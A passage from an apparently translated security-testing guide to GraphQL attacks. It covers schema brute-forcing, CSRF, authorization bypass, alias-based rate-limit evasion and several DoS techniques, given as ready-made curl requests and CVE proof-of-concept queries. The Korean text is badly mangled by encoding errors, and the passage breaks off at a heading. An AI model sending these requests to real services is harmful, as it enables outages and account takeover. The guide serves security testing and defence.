Field 'bugs' not found on type 'inql'๋ ๋ถ๋ชจ ํ์ ์ ์กด์ฌ๋ฅผ ํ์ธํ๊ณ ์๋ชป๋ ํ๋ ์ด๋ฆ์ ๋ฐฐ์ ํฉ๋๋ค.Argument 'contribution' is required๋ ์ธ์๊ฐ ํ์์์ ๋ณด์ฌ์ฃผ๊ณ ์ ํํ ์ฒ ์๋ฅผ ๋ ธ์ถํฉ๋๋ค.- ์:
Did you mean 'openPR'?๊ฐ์ ์ ์ ํํธ๋ ๊ฒ์ฆ๋ ํ๋ณด๋ก ํ์ ๋ค์ ํฌ์ ๋ฉ๋๋ค. - ์๋์ ์ผ๋ก ์๋ชป๋ ์์ ํ์
(์: ๋ฌธ์์ด์ ์ ์๋ฅผ ์ ์ก)์ ๋ณด๋ด๋ฉด bruteforcer๋ ํ์
๋ถ์ผ์น ์ค๋ฅ๋ฅผ ์ ๋ฐํ์ฌ ์ค์ ํ์
์๊ทธ๋์ฒ๋ฅผ leakํฉ๋๋ค(์:
[Episode!]๊ฐ์ ๋ฆฌ์คํธ/๊ฐ์ฒด ๋ํผ ํฌํจ).
bruteforcer๋ ์๋ก์ด ํ๋๋ฅผ ๋ฐํํ๋ ๋ชจ๋ ํ์ ์ ์ฌ๊ท์ ์ผ๋ก ๊ณ์ ํ์ํ๋ฏ๋ก, ์ผ๋ฐ์ ์ธ GraphQL ์ด๋ฆ๊ณผ ์ฑ ํนํ ์ถ์ธก์ ํผํฉํ ์๋๋ฆฌ์คํธ๋ ๊ฒฐ๊ตญ ์ธํธ๋ก์คํ์ ์์ด ์คํค๋ง์ ํฐ ๋ถ๋ถ์ ๋งคํํฉ๋๋ค. ์คํ ์๊ฐ์ ์ฃผ๋ก rate limiting๊ณผ candidate volume์ ์ํด ์ ํ๋๋ฏ๋ก, InQL ์ค์ (wordlist, batch size, throttling, retries)์ ๋ฏธ์ธ ์กฐ์ ํ๋ ๊ฒ์ด ์๋ฐํ ์์ ์์๋ ์ค์ํฉ๋๋ค.
๊ฐ์ ๋ฆด๋ฆฌ์ค์์ InQL์ GraphQL engine fingerprinter๋ ์ ๊ณตํฉ๋๋ค (graphw00f์ ๊ฐ์ ๋๊ตฌ์์ ์๊ทธ๋์ฒ๋ฅผ ์ฐจ์ฉํจ). ์ด ๋ชจ๋์ ์๋์ ์ผ๋ก ์๋ชป๋ directive/query๋ฅผ ์ ์กํ๊ณ ์ ํํ ์ค๋ฅ ํ
์คํธ๋ฅผ ๋งค์นญํ์ฌ ๋ฐฑ์๋๋ฅผ ๋ถ๋ฅํฉ๋๋ค. ์:
query @deprecated {
__typename
}
- Apollo๋
Directive "@deprecated" may not be used on QUERY.๋ผ๊ณ ์๋ตํฉ๋๋ค. - GraphQL Ruby๋
'@deprecated' can't be applied to queries๋ผ๊ณ ์๋ตํฉ๋๋ค.
Once an engine is recognized, InQL surfaces the corresponding entry from the GraphQL Threat Matrix, helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).
Finally, **์๋ ๋ณ์ ์์ฑ (automatic variable generation)**์ Burp Repeater/Intruder๋ก ์ ํํ ๋ ์์ฃผ ๋ฐ์ํ๋ ์ฅ์ ๋ฅผ ์ ๊ฑฐํฉ๋๋ค. ์ด๋ค operation์ด variables JSON์ ํ์๋ก ํ ๋๋ง๋ค, InQL์ ์ด์ ์์ฒญ์ด ์ฒ์ ์ ์ก๋ ๋ ์คํค๋ง ๊ฒ์ฆ์ ํต๊ณผํ๋๋ก ํฉ๋ฆฌ์ ์ธ ๊ธฐ๋ณธ๊ฐ์ ์ฃผ์ ํฉ๋๋ค:
"String" -> "exampleString"
"Int" -> 42
"Float" -> 3.14
"Boolean" -> true
"ID" -> "123"
ENUM -> first declared value
Nested input objects๋ ๋์ผํ mapping์ ์์ํ๋ฏ๋ก, ๋ชจ๋ ์ธ์๋ฅผ ์ผ์ผ์ด ์๋์ผ๋ก ๋ฆฌ๋ฒ์ค์์ง๋์ด๋งํ์ง ์๊ณ ๋ SQLi/NoSQLi/SSRF/logic bypasses์ ๋ํด ํผ์ฆํ ์ ์๋ ๊ตฌ๋ฌธ์ ยท์๋ฏธ์ ์ผ๋ก ์ ํจํ payload๋ฅผ ์ฆ์ ์ป์ ์ ์์ต๋๋ค.
CSRF in GraphQL
CSRF๊ฐ ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด๋ณด์ธ์:
CSRF (Cross Site Request Forgery)
ํด๋น ํ์ด์ง์์๋ CSRF tokens ์์ด ๊ตฌ์ฑ๋ ์ฌ๋ฌ GraphQL endpoints๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
GraphQL ์์ฒญ์ ์ผ๋ฐ์ ์ผ๋ก Content-Type์ด **application/json**์ธ POST ์์ฒญ์ผ๋ก ์ ์ก๋๋ค๋ ์ ์ ์ ์ํ์ธ์.
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
๊ทธ๋ฌ๋ ๋๋ถ๋ถ์ GraphQL endpoints์์๋ form-urlencoded POST requests: ๋ ์ง์ํฉ๋๋ค
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
๋ฐ๋ผ์, ์ด์ ๊ณผ ๊ฐ์ CSRF ์์ฒญ์ด preflight requests ์์ด ์ ์ก๋๋ฏ๋ก, CSRF๋ฅผ ์ ์ฉํ์ฌ GraphQL์์ ๋ณ๊ฒฝ์ ์ํํ ์ ์์ต๋๋ค.
๊ทธ๋ฌ๋ Chrome์ samesite ํ๋๊ทธ์ ์๋ก์ด ๊ธฐ๋ณธ ์ฟ ํค ๊ฐ์ด Lax์์ ์ ์ํ์ธ์. ์ด๋ ์ฟ ํค๊ฐ ์ 3์ ์น์์์ GET ์์ฒญ์์๋ง ์ ์ก๋๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
์ผ๋ฐ์ ์ผ๋ก query request๋ฅผ GET request๋ก๋ ๋ณด๋ผ ์ ์์ผ๋ฉฐ, GET ์์ฒญ์์๋ CSRF ํ ํฐ์ด ๊ฒ์ฆ๋์ง ์์ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.
๋ํ, XS-Search attack์ ์ ์ฉํ๋ฉด ์ฌ์ฉ์์ ์๊ฒฉ ์ฆ๋ช ์ ์ด์ฉํด GraphQL ์๋ํฌ์ธํธ์์ ์ฝํ ์ธ ๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ original post here๋ฅผ ํ์ธํ์ธ์.
Cross-site WebSocket hijacking in GraphQL
GraphQL์ ์ ์ฉํ CSRF ์ทจ์ฝ์ ๊ณผ ์ ์ฌํ๊ฒ, ๋ณดํธ๋์ง ์์ ์ฟ ํค๋ฅผ ๊ฐ์ง ์ธ์ฆ์ ์ ์ฉํ๊ธฐ ์ํ Cross-site WebSocket hijacking์ ํตํด ์ฌ์ฉ์๊ฐ GraphQL์์ ์๊ธฐ์น ์์ ๋์์ ํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์:
Authorization in GraphQL
์๋ํฌ์ธํธ์ ์ ์๋ ๋ง์ GraphQL ํจ์๋ ์์ฒญ์์ authentication๋ง ํ์ธํ๊ณ authorization์ ํ์ธํ์ง ์์ ์ ์์ต๋๋ค.
์ฟผ๋ฆฌ ์ ๋ ฅ ๋ณ์๋ฅผ ์์ ํ๋ฉด ๋ฏผ๊ฐํ ๊ณ์ ์ ๋ณด๊ฐ leaked๋ ์ ์์ต๋๋ค.
Mutation์ ์ฌ์ง์ด ๋ค๋ฅธ ๊ณ์ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๋ ค ์๋ํ์ฌ ๊ณ์ ํ์ทจ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL์์ ๊ถํ ์ฐํ
Chaining queries๋ฅผ ํจ๊ป ์ฌ์ฉํ๋ฉด ์ทจ์ฝํ ์ธ์ฆ ์์คํ ์ ์ฐํํ ์ ์์ต๋๋ค.
์๋ ์์์๋ operation์ด โforgotPasswordโ์ด๋ฉฐ ํด๋น operation์ ์ฐ๊ด๋ forgotPassword ์ฟผ๋ฆฌ๋ง ์คํ๋์ด์ผ ํจ์ ๋ณผ ์ ์์ต๋๋ค. ๋์ ์ฟผ๋ฆฌ๋ฅผ ์ถ๊ฐํ๋ฉด ์ฐํํ ์ ์๋๋ฐ, ์ด ๊ฒฝ์ฐ โregisterโ์ ์์คํ ์ด ์ ์ฌ์ฉ์๋ก ๋ฑ๋กํ user ๋ณ์๋ฅผ ์ถ๊ฐํฉ๋๋ค.
GraphQL์์ Aliases๋ฅผ ์ฌ์ฉํ Rate Limits ์ฐํ
GraphQL์์ aliases๋ API ์์ฒญ ์ ํ๋กํผํฐ์ ์ด๋ฆ์ ๋ช ์์ ์ผ๋ก ์ง์ ํ ์ ์๊ฒ ํด์ฃผ๋ ๊ฐ๋ ฅํ ๊ธฐ๋ฅ์ ๋๋ค. ์ด ๊ธฐ๋ฅ์ ๋จ์ผ ์์ฒญ ๋ด์์ ๋์ผ ํ์ ์ ๊ฐ์ฒด๋ฅผ ์ฌ๋ฌ ์ธ์คํด์ค๋ก ๊ฐ์ ธ์์ผ ํ ๋ ํนํ ์ ์ฉํฉ๋๋ค. Aliases๋ ๋์ผํ ์ด๋ฆ์ ๊ฐ์ง ์ฌ๋ฌ ํ๋กํผํฐ๋ฅผ GraphQL ๊ฐ์ฒด๊ฐ ๊ฐ์ง ์ ์๊ฒ ํ๋ ์ ํ์ ๊ทน๋ณตํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
๋ ์์ธํ ์ดํด๋ฅผ ์ํด ๋ค์ ๋ฆฌ์์ค๋ฅผ ๊ถ์ฅํฉ๋๋ค: Aliases.
Aliases์ ์ฃผ๋ ๋ชฉ์ ์ ๋ง์ API ํธ์ถ์ ํ์์ฑ์ ์ค์ด๋ ๊ฒ์ด์ง๋ง, ์๋์น ์์ ์ฌ์ฉ ์ฌ๋ก๋ก aliases๋ฅผ ์ด์ฉํด GraphQL ์๋ํฌ์ธํธ์ brute force ๊ณต๊ฒฉ์ ์ํํ ์ ์์์ด ํ์ธ๋์์ต๋๋ค. ์ด๋ ์ผ๋ถ ์๋ํฌ์ธํธ๊ฐ brute force ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด HTTP ์์ฒญ ์๋ฅผ ์ ํํ๋ rate limiters๋ก ๋ณดํธ๋๊ธฐ ๋๋ฌธ์ ๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฌํ rate limiters๋ ๊ฐ ์์ฒญ ๋ด์ operation ์๋ฅผ ๊ณ ๋ คํ์ง ์์ ์ ์์ต๋๋ค. Aliases๊ฐ ๋จ์ผ HTTP ์์ฒญ์ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ํฌํจํ ์ ์๊ฒ ํด์ฃผ๋ฏ๋ก, ์ด๋ฌํ rate limiting ์กฐ์น๋ฅผ ํํผํ ์ ์์ต๋๋ค.
์๋ ์๋ฅผ ๋ณด๋ฉด, aliased queries๋ฅผ ์ฌ์ฉํด ์์ ์ ํ ์ธ ์ฝ๋ ์ ํจ์ฑ์ ํ์ธํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค. ์ด ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ํ๋์ HTTP ์์ฒญ์ผ๋ก ํฉ์น๊ธฐ ๋๋ฌธ์ rate limiting์ ์ฐํํ์ฌ ๋์์ ๋ง์ ํ ์ธ ์ฝ๋๋ฅผ ๊ฒ์ฆํ ์ ์์ต๋๋ค.
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
GraphQL์์์ DoS
Alias Overloading
Alias Overloading๋ ๊ณต๊ฒฉ์๊ฐ ๋์ผ ํ๋์ ๋ํด ๋ง์ alias๋ฅผ ์ฌ์ฉํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ๊ณผ๋ถํ์ํค๋ GraphQL ์ทจ์ฝ์ ์ผ๋ก, ๋ฐฑ์๋ resolver๊ฐ ํด๋น ํ๋๋ฅผ ๋ฐ๋ณตํด์ ์คํํ๊ฒ ๋ง๋ญ๋๋ค. ์ด๋ ์๋ฒ ์์์ ๊ณผ๋ํ๊ฒ ์ฌ์ฉํ๊ฒ ํ์ฌ **Denial of Service (DoS)**๋ฅผ ์ด๋ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์๋ ์ฟผ๋ฆฌ์์๋ ๋์ผํ ํ๋(expensiveField)๊ฐ alias๋ฅผ ์ฌ์ฉํด 1,000๋ฒ ์์ฒญ๋์ด ๋ฐฑ์๋๊ฐ ์ด๋ฅผ 1,000๋ฒ ๊ณ์ฐํ๊ฒ ๋์ด CPU๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๊ณ ๊ฐ์ํฌ ์ ์์ต๋๋ค:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
์ด๋ฅผ ์ํํ๋ ค๋ฉด alias count limits, query complexity analysis ๋๋ rate limiting์ ๊ตฌํํด ๋ฆฌ์์ค ๋จ์ฉ์ ๋ฐฉ์งํ์ธ์.
Array-based Query Batching
Array-based Query Batching๋ GraphQL API๊ฐ ๋จ์ผ ์์ฒญ์์ ์ฌ๋ฌ ์ฟผ๋ฆฌ๋ฅผ ๋ฐฐ์น๋ก ํ์ฉํ ๋ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ผ๋ก, ๊ณต๊ฒฉ์๊ฐ ๋ค์์ ์ฟผ๋ฆฌ๋ฅผ ๋์์ ์ ์กํ ์ ์๊ฒ ํฉ๋๋ค. ๋ฐฐ์น๋ ๋ชจ๋ ์ฟผ๋ฆฌ๋ฅผ ๋ณ๋ ฌ๋ก ์คํํ๋ฉด ๋ฐฑ์๋๋ฅผ ๊ณผ๋ถํ์ํค๋ฉฐ ๊ณผ๋ํ ๋ฆฌ์์ค(CPU, ๋ฉ๋ชจ๋ฆฌ, ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฐ๊ฒฐ)๋ฅผ ์๋ชจํด ๊ฒฐ๊ตญ Denial of Service (DoS)๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ๋ฐฐ์น ๋ด ์ฟผ๋ฆฌ ์์ ์ ํ์ด ์๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ ์ฉํด ์๋น์ค ๊ฐ์ฉ์ฑ์ ์ ํ์ํฌ ์ ์์ต๋๋ค.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
์ด ์์์๋ 10๊ฐ์ ์๋ก ๋ค๋ฅธ ์ฟผ๋ฆฌ๊ฐ ํ๋์ ์์ฒญ์ผ๋ก ๋ฐฐ์น๋์ด ์๋ฒ๊ฐ ์ด๋ค์ ๋ชจ๋ ๋์์ ์คํํ๋๋ก ๊ฐ์ ํฉ๋๋ค. ๋ ํฐ ๋ฐฐ์น ํฌ๊ธฐ๋ ๊ณ์ฐ ๋น์ฉ์ด ํฐ ์ฟผ๋ฆฌ๋ก ์ ์ฉ๋๋ฉด ์๋ฒ๋ฅผ ๊ณผ๋ถํ์ํฌ ์ ์์ต๋๋ค.
Directive Overloading Vulnerability
Directive Overloading์ GraphQL ์๋ฒ๊ฐ ๊ณผ๋ํ๊ฑฐ๋ ์ค๋ณต๋ directives๋ฅผ ํ์ฉํ ๋ ๋ฐ์ํฉ๋๋ค. ์ด๋ ์๋ฒ์ ํ์์ ์คํ๊ธฐ๋ฅผ ์๋ํ ์ ์์ผ๋ฉฐ, ํนํ ์๋ฒ๊ฐ ๋์ผํ directive ๋ก์ง์ ๋ฐ๋ณตํด์ ์ฒ๋ฆฌํ ๊ฒฝ์ฐ ๋ ์ฌ๊ฐํฉ๋๋ค. ์ ์ ํ ๊ฒ์ฆ์ด๋ ์ ํ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๋ ๋ค์์ ์ค๋ณต directives๋ฅผ ํฌํจํ ์ฟผ๋ฆฌ๋ฅผ ๋ง๋ค์ด ๋์ ๊ณ์ฐ๋์ด๋ ๋ฉ๋ชจ๋ฆฌ ์ฌ์ฉ์ ์ ๋ฐํ์ฌ **Denial of Service (DoS)**๋ก ์ด์ด์ง๊ฒ ํ ์ ์์ต๋๋ค.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
์ด์ ์์ ์์ @aa๋ ์ปค์คํ
๋๋ ํฐ๋ธ๋ก, ์ ์ธ๋์ด ์์ง ์์ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์กด์ฌํ๋ ๋ณดํธ์ ์ธ ๋๋ ํฐ๋ธ๋ **@include**์
๋๋ค:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
'https://example.com/graphql'
์ ์ธ๋ ๋ชจ๋ ๋๋ ํฐ๋ธ๋ฅผ ์ฐพ๊ธฐ ์ํด ์ธํธ๋ก์คํ์ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ผ ์๋ ์์ต๋๋ค:
curl -X POST \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
Field Duplication Vulnerability
Field Duplication์ GraphQL ์๋ฒ๊ฐ ๋์ผํ ํ๋๋ฅผ ๊ณผ๋ํ๊ฒ ๋ฐ๋ณตํ ์ฟผ๋ฆฌ๋ฅผ ํ์ฉํ๋ ์ทจ์ฝ์ ์ ๋๋ค. ์ด๋ก ์ธํด ์๋ฒ๋ ๊ฐ ์ธ์คํด์ค๋ง๋ค ํด๋น ํ๋๋ฅผ ์ค๋ณต์ผ๋ก ์ฒ๋ฆฌํ๊ฒ ๋์ด ์๋นํ ์์(CPU, ๋ฉ๋ชจ๋ฆฌ, ๋ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํธ์ถ)์ ์๋ชจํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์๋ฐฑ ๋๋ ์์ฒ ๊ฐ์ ๋ฐ๋ณต ํ๋๋ฅผ ํฌํจํ ์ฟผ๋ฆฌ๋ฅผ ์ ์ํ์ฌ ์๋ฒ์ ๋์ ๋ถํ๋ฅผ ์ ๋ฐํ๊ณ ์ ์ฌ์ ์ผ๋ก **Denial of Service (DoS)**๋ก ์ด์ด์ง๊ฒ ํ ์ ์์ต๋๋ค.
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
์ต๊ทผ ์ทจ์ฝ์ (2023-2025)
GraphQL ์ํ๊ณ๋ ๋งค์ฐ ๋น ๋ฅด๊ฒ ์งํํฉ๋๋ค; ์ง๋ 2๋ ๋์ ๊ฐ์ฅ ๋ง์ด ์ฌ์ฉ๋๋ ์๋ฒ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ค์์ ์ฌ๋ฌ ์น๋ช ์ ์ธ ๋ฌธ์ ๊ฐ ๊ณต๊ฐ๋์์ต๋๋ค. GraphQL ์๋ํฌ์ธํธ๋ฅผ ๋ฐ๊ฒฌํ๋ฉด ์์ง์ ์ง๋ฌธ ๋ถ์(์ฐธ์กฐ graphw00f)ํ๊ณ ์คํ ์ค์ธ ๋ฒ์ ์ ์๋ ์ทจ์ฝ์ ๊ณผ ๋์กฐํด ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
CVE-2024-47614 โ async-graphql directive-overload DoS (Rust)
- ์ํฅ: async-graphql < 7.0.10 (Rust)
- ๊ทผ๋ณธ ์์ธ: ์ค๋ณต๋ ๋๋ ํฐ๋ธ์ ๋ํ ์ ํ์ด ์์ด (์: ์์ฒ ๊ฐ์
@include) ์ด๊ฒ๋ค์ด ๊ธฐํ๊ธ์์ ์ผ๋ก ๋ง์ ์คํ ๋ ธ๋๋ก ํ์ฅ๋๋ค. - ์ํฅ: ๋จ์ผ HTTP ์์ฒญ์ผ๋ก CPU/RAM์ ์์ง์์ผ ์๋น์ค๊ฐ ์ค๋จ๋ ์ ์๋ค.
- ์์ /์ํ: ๋ฒ์ ์ โฅ 7.0.10์ผ๋ก ์
๊ทธ๋ ์ด๋ํ๊ฑฐ๋
SchemaBuilder.limit_directives()๋ฅผ ํธ์ถํ์ธ์; ๋๋"@include.*@include.*@include"์ ๊ฐ์ WAF ๋ฃฐ๋ก ์์ฒญ์ ํํฐ๋งํ์ธ์.
# PoC โ repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 โ graphql-java ENF ๊น์ด/๋ณต์ก๋ ์ฐํ
- ์ํฅ๋ฐ๋ ๋ฒ์ : graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- ๊ทผ๋ณธ ์์ธ: ExecutableNormalizedFields๊ฐ
MaxQueryDepth/MaxQueryComplexity๊ณ์ธก์์ ๊ณ ๋ ค๋์ง ์์์ต๋๋ค. ๋ฐ๋ผ์ ์ฌ๊ท์ ํ๋๊ทธ๋จผํธ๋ ๋ชจ๋ ์ ํ์ ์ฐํํ์ต๋๋ค. - ์ํฅ: graphql-java๋ฅผ ๋ด์ฅํ Java ์คํ(Spring Boot, Netflix DGS, Atlassian productsโฆ)์ ๋ํ ์ธ์ฆ๋์ง ์์ DoS.
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 โ WPGraphQL SSRF to RCE chain
